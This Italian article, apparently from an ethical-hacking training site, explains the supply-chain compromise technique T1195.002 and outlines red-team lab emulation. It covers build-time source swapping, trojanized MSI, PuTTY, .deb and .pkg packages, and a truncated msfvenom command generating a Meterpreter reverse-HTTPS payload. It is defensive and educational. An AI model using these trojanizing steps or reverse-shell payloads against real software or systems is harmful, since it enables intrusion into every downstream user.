Compromissione Supply Chain Software: Compromise Software Supply Chain (T1195.002)
La tecnica T1195.002 descrive la manipolazione del software applicativo prima che raggiunga il consumatore finale, con l'obiettivo di compromettere dati o sistemi. L'avversario può alterare il codice sorgente, sovvertire il meccanismo di aggiornamento o sostituire release compilate con versioni modificate. Il vettore si colloca nella tattica TA0001 (Initial Access) e rappresenta uno dei metodi più insidiosi per ottenere un foothold: sfrutta la fiducia implicita che le organizzazioni ripongono nei fornitori software e nei meccanismi di firma digitale.
L'impatto è amplificato dalla scala di distribuzione: una singola compromissione può propagarsi a migliaia di clienti. Il caso SolarWinds ha coinvolto circa 18.000 clienti del prodotto Orion, mentre l'attacco a 3CX ha potenzialmente esposto oltre 600.000 clienti aziendali e 12 milioni di utenti finali. La telemetria MITRE registra per questa tecnica 9 gruppi APT, 3 famiglie malware dedicate e 2 campagne di riferimento.
Il targeting può essere selettivo, con attivazione delle fasi successive solo su vittime di interesse specifico, oppure ad ampio spettro. La compromissione può avvenire in molteplici punti della catena: repository di codice sorgente, ambienti di build, infrastruttura di firma, CDN di distribuzione, mirror di terze parti. La difesa richiede un cambio di paradigma: non basta più fidarsi del software firmato, occorre verificarne il comportamento post-installazione.
Simulare T1195.002 in un contesto autorizzato richiede attenzione estrema al perimetro dell'esercizio, perché anche un lab-safe supply chain attack può sfuggire di mano. L'approccio tipico in un red team engagement prevede la compromissione controllata di un pipeline CI/CD interno o di un update server dedicato, mai di software di produzione destinato all'esterno.
Per emulare le TTP osservate in APT41 e Sandworm, un red teamer costruisce una catena che modifica il binario in fase di build. Uno scenario replicabile in laboratorio utilizza Sigstore Cosign (open source) per firmare artefatti legittimi e poi iniettare una variante modificata nella pipeline. La simulazione di SUNSPOT richiede l'accesso a un ambiente di build MSBuild o simile: si intercetta il processo di compilazione e si sostituisce un file sorgente durante la finestra tra checkout e compile.
Strumenti utili per emulazione realistica:
- Atomic Red Team (open source): contiene test per Initial Access via installer trojanizzati
- CALDERA (open source): permette di orchestrare catene multi-stadio
- BadUSB / rubber ducky per simulare la fase di consegna di installer manomessi
- msfvenom (open source, parte di Metasploit): genera payload da embeddare in installer MSI di test
Un esempio concreto in ambiente Windows lab consiste nel generare un installer MSI con Advanced Installer o WiX, embeddare un payload di test tramite azione custom, firmarlo con un certificato self-signed di test aggiunto al trust store del solo host di laboratorio, e distribuirlo tramite un finto update server. Il comando per generare un payload embeddabile è:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=
Per emulare Moonstone Sleet e la sua distribuzione di PuTTY trojanizzato, un red team può clonare il repository sorgente di PuTTY, aggiungere una funzione dormiente attivata solo su hostname specifici del lab, ricompilare e ridistribuire su un mirror interno controllato.
Su Linux la simulazione passa per la creazione di pacchetti .deb manomessi tramite dpkg-deb --build con script postinst che esegue azioni di test, ospitati su un repository APT interno con GPG key dedicata. Su macOS si costruiscono pacchetti .pkg con pkgbuild e productbuild (tool nativi), firmati con Developer ID di test.
Regola operativa: ogni artefatto simulato deve contenere un marcatore identificativo univoco (hash noto, stringa nel binario, dominio C2 non-routable) per garantire tracciabilità totale e prevenire contaminazione di sistemi non in scope.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.